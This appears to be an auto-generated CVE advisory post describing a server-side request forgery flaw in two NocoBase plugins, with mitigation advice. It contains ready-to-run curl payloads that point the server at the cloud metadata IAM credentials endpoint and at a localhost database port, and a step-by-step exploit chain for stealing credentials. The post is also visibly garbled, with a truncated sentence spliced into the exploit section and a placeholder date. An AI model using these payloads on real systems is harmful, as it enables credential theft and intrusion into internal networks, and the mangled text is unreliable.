Listen to this Post
How the mentioned CVE works (Server-Side Request Forgery):
The vulnerability exists in two NocoBase plugins: `plugin-workflow-request` and plugin-action-custom-request. Both make server-side HTTP requests to user-supplied URLs without any SSRF protections. In `RequestInstruction.ts` (lines 117-128), the `axios.request()` call uses a `url` taken directly from workflow configuration (line 98), only trimmed of whitespace – no validation of scheme, host, or IP. In `send.ts` (lines 172-198), the `axios()` call builds `baseURL` from `ctx.origin` and `url` from user-controlled template values via getParsedValue(). The entire codebase lacks a request-filtering agent, private IP range filtering, cloud metadata endpoint blocking, URL scheme validation, or DNS rebinding protection. An authenticated attacker can create a workflow or custom request action, set the URL to internal addresses (e.g., `http://169.254.169.254/latest/meta-data/`), and trigger the request. The server then fetches and returns sensitive data (IAM credentials, internal service responses) in workflow execution logs or action results.
DailyCVE Form:
Platform: NocoBase
Version: All before patch
Vulnerability: SSRF via workflows
Severity: Critical
Date: 2025-03-15 (example)
Prediction: 2025-04-10
What Undercode Say:
Check for vulnerable plugins
grep -r "axios.request" packages/plugins/@nocobase/plugin-workflow-request/src/server/
grep -r "getParsedValue" packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/
Simulate SSRF (authenticated session required)
curl -X POST https://nocobase-instance/api/workflows/executions \
-H "Authorization: Bearer $TOKEN" \
-d '{"config":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}'
Test localhost database access
curl -X POST https://nocobase-instance/api/actions/custom-request/send \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://127.0.0.1:5432","method":"GET"}'
Exploit:
Authenticated user creates workflow with HTTP Request node → sets URL to `http://169.254.169.254/latest/meta-data/` → triggers workflow → server fetches metadata → IAM credentials appear in execution logs. Alternatively, via Custom Request action: set URL to http://10.0.0.1:8080/admin` → execute → internal admin panel response returned.request-filtering-agent`).
<h2 style="color: blue;">Protection from this CVE:</h2>
Upgrade to patched version (if available). Implement input validation: block private IPs (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), reject metadata endpoints, allow only HTTP/HTTPS schemes, and use a deny list for DNS rebinding. Deploy a network-level egress filter or a dedicated SSRF proxy (e.g.,
Impact:
Cloud metadata theft (AWS/GCP/Azure credentials), internal network scanning and interaction, localhost database access (PostgreSQL, Redis, etc.), and potential lateral movement – all by any authenticated workspace member.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
